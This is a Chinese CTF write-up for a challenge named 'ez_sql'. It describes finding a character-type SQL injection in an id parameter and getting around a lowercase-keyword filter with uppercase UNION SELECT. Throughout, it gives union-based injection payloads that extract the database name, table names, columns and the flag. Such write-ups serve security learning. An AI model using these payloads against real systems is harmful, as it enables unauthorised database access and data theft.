首页 > 数据库 >ez_sql

ez_sql

时间:2023-11-05 15:55:22浏览次数:34  
标签:union sql -- ez table id SELECT

打开界面是查询界面

 点击不同的查询页面返回的内容不同,然后url的地址发生变化,毫无疑问注入点在id处

 这里直接进行测试

单引号无回显

 双引号回显id不存在

 初步判断为字符型注入

全真语句测试

1' or 1=1 --1

回了个no

 在这里看到了别的wp说很多关联词都过滤了,那这就得使用别的方法了

union 、SELECT(等大写的关联词)都可以

根据前面的知识我们可以知道一共会回显5个字段,所以这里就直接进行sql注入

  • 爆库
?id=-1' union SELECT 1,database(),3,4,5 --1
  • 爆表
?id=-1' union SELECT 1,(SELECT group_concat(table_name) from INFORMATION_SCHEMA.tables WHERE table_schema="ctf"),3,4,5 --1
  • 爆字段
?id=-1' union SELECT 1,(SELECT group_concat(column_name) from INFORMATION_SCHEMA.columns WHERE table_schema="ctf" AND table_name="here_is_flag"),3,4,5 --1
  • 爆数据
?id=-1' union SELECT 1,(SELECT flag from here_is_flag),3,4,5 --1

 

标签:union,sql,--,ez,table,id,SELECT
From: https://www.cnblogs.com/lhqrusht0p/p/17810598.html

相关文章

  • mysql正则表达式替换
    MySQL正则表达式替换在MySQL中,正则表达式替换是一种强大的功能,它可以帮助我们快速、灵活地对字符串进行处理和修改。本文将介绍MySQL中如何使用正则表达式替换,并提供一些实际的代码示例。什么是正则表达式?正则表达式(RegularExpression)是一种用于描述模式匹配的字符串。它由正则表......
  • 如果它是MySQL中的特定字符,则删除最后一个字符?
    要删除最后一个字符(如果是特定字符),请使用SUBSTRING()。让我们首先创建一个表-mysql>createtableDemoTable(SubjectNamevarchar(100));使用插入命令在表中插入一些记录-mysql>insertintoDemoTablevalues('MySQL');mysql>insertintoDemoTablevalues('MongoD......
  • mysql删除指定结尾的字符串
    要删除内容结尾的指定字符串,只删除最结尾的部分,可以使用以下方法:UPDATEdede_addonarticleSETbody=REGEXP_REPLACE(body,'#p#分页标题#e#$','')WHEREREGEXP_LIKE(body,'#p#分页标题#e#$')andaid=144UPDATEdede_addonarticleSET`body`=REGEXP_REPLACE(body,'......
  • 【mysql】获取某个表所有列名【mybatis】
    方法1:[仅指定表名]selectCOLUMN_NAMEfrominformation_schema.COLUMNSwheretable_name='your-table-name'; 方法2:[指定表名+数据库名]selectCOLUMN_NAMEfrominformation_schema.COLUMNSwheretable_name='your-table-name'andtable_schema='your-DB......
  • sqlserver查询库中所有表的字段并进行拼接
    --查询库中所有表的字段信息SELECTTABLE_NAME,COLUMN_NAME,DATA_TYPEFROMINFORMATION_SCHEMA.COLUMNSWHERETABLE_SCHEMA='dbo'ORDERBYTABLE_NAME,ORDINAL_POSITION;--查询库中所有表的字段并进行拼接SELECTTABLE_NAME,STUFF((SELECT','+COLUMN_N......
  • 部署MYSQL 二进制方式
    二进制部署mysql(之前一直使用部署好的,但是自己突然部署,忘记了。。。,这次记录下)一、需要先到mysql官方网站下载二进制安装包:#官网地址:https://dev.mysql.com/downloads/#下载地址:https://downloads.mysql.com/archives/get/p/23/file/mysql-5.7.30-linux-glibc2.12-x86_64.ta......
  • PostgreSQL 序列(Sequence)
    基本操作--新增序列CREATESEQUENCExxx_id_seqINCREMENT1--一次加多少MINVALUE1--最小值START1--从多少开始CACHE1CYCLE;--指定表使用altertablexxx_tablealtercolumnidsetDEFAULTnextval('xxx_id_seq')--查询序列SELECTnextval('xxx_id_seq');-......
  • Hivesql字符截取函数错用
    1.背景       最近在使用instr进行字符截取时出现了字符截断的情况,案例是需要获取出"红河哈尼族矫族自治州(xxxx(红河)有限公司)"里面的"xxxx(红河)有限公司"内容,结果获取到的内容是"xxxx(红河",该语句针对只有一对括号时没有问题,当出现这种有两个括号时就会出现截断的问题,......
  • 如何防止PHP中的SQL注入?
    内容来自DOChttps://q.houxu6.top/?s=如何防止PHP中的SQL注入?如果没有对用户输入进行任何修改就插入到SQL查询中,那么应用程序就会容易受到SQL注入攻击,就像以下示例中的那样:$unsafe\_variable=$\_POST['user\_input'];mysql\_query("INSERTINTO`table`(`column`)VAL......
  • NodeJS系列(13)- Next.js 框架 (六) | Node.js + Next.js + Prisma/Sequelize (ORM) + M
    Next.js是一个用于构建Web应用程序的框架。Next.js是一个用于生产环境的React框架,是一个React服务端渲染应用框架。NextJS:https://nextjs.org/Prisma是一个基于promise的Node.js和TypeScript的ORM,目前支持Mysql,MariaDB,SQLite,PostgreSQL,AWSAuroraServerles......